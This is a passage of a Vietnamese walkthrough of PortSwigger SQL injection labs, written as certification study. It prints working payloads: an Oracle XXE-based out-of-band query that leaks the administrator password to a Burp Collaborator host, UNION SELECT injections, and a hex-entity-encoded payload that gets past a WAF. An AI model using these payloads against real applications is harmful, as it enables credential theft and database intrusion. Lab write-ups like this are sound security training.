'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual-- ``` Gửi payload đi rồi pollnow ![image](https://hackmd.io/_uploads/rJKqc5upC.png) ![image](https://hackmd.io/_uploads/r1Y1s9_aA.png) Mật khẩu là: gkuui81rm77527pbshba B3: Đăng nhập và hoàn thành lab ![image](https://hackmd.io/_uploads/HyiWi5Op0.png) #### **Lab18**: SQL injection with filter bypass via XML encoding ##### Mô tả: This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user's credentials, then log in to their account. ##### Exploit: B1: Truy cập trang web và tìm lỗ hổng Lab mô tả website dính lỗ hổng ở phần stock ![image](https://hackmd.io/_uploads/rJF1h5_6A.png) Khi CheckStock thì POST request được gửi /product/stock để hiển thị ra số sản phẩm tồn kho có trong Database. ![image](https://hackmd.io/_uploads/ryCvh9uaR.png) Phần Body được gửi dưới dạng XML với 2 tham số là các tham số được sử dụng trong yêu cầu kiểm tra tồn kho. > <productId>2</productId>: Chỉ định ID sản phẩm mà người dùng muốn kiểm tra tồn kho. > <storeId>2</storeId>: Chỉ định ID của cửa hàng nơi kiểm tra tồn kho được thực hiện. B2: Thay đổi file XML Thử thêm cái gì đó vào phần storeID ![image](https://hackmd.io/_uploads/HJr-a5u60.png) Nó có thể thực thi theo ý của mình, thử 1 con số nhỏ hơn ![image](https://hackmd.io/_uploads/SkzNp9_aR.png) Thử chèn payload SQLi vào ``` 1 UNION SELECT NULL ``` ![image](https://hackmd.io/_uploads/By7Oa9_aR.png) Có lẽ web đã chặn SQLi bằng cách dùng WAF. Lúc này có thể dùng SQLMap để tấn công tự động B3: Bypass WAF Bằng cách obfuscating payload XML Sử dụng extension của Burp Extensions > Hackvertor ![image](https://hackmd.io/_uploads/rJCV0c_a0.png) Sau đó encode: Encode > dec_entities/hex_entities Hoặc có thể dùng tools của [CyberChef](https://gchq.github.io/CyberChef/) có sẵn để encode như mình. ![image](https://hackmd.io/_uploads/SkloNjOaC.png) ![image](https://hackmd.io/_uploads/S1B24o_6A.png) Kết quả trả về hợp lệ cho thấy payload hoạt động tốt và database chỉ có 1 cột B4: Gửi payload SQLi Vì Database chỉ trả về 1 cột nên nối chuỗi bằng ||'~'|| ``` UNION SELECT password FROM users WHERE username = 'administrator' ``` ![image](https://hackmd.io/_uploads/SySFro_aC.png) ``` &#x55;&#x4e;&#x49;&#x4f;&#x4e;&#x20;&#x53;&#x45;&#x4c;&#x45;&#x43;&#x54;&#x20;&#x70;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;&#x20;&#x46;&#x52;&#x4f;&#x4d;&#x20;&#x75;&#x73;&#x65;&#x72;&#x73;&#x20;&#x57;&#x48;&#x45;&#x52;&#x45;&#x20;&#x75;&#x73;&#x65;&#x72;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x3d;&#x20;&#x27;&#x61;&#x64;&#x6d;&#x69;&#x6e;&#x69;&#x73;&#x74;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x27; ``` ![image](https://hackmd.io/_uploads/BJIjHo_p0.png) Mật khẩu là: klpqaj9aud99x4p3remb B5: Đăng nhập và hoàn thành lab ![image](https://hackmd.io/_uploads/rJcaBouTC.png) #### Lab challenge : Website Java sử dụng MySql+MSSQL do mình tự build ( gồm các loại SQLi Blind, Union, OOB, ErrorBase,...) các bạn có thể tải về và Exploit thử/. [LINK](https://github.com/iseproz2911/SQL-Injection-Vulnerable-Website.git) JSPServlet + TomcatServer + MySQL MSSQL **Tài liệu** [Payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md) [Trick](https://book.hacktricks.xyz/pentesting-web/sql-injection) [CheatSheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) > Bài viết có mục đích nghiên cứu lỗ hổng và học tập ôn thi chứng chỉ của Postswiger!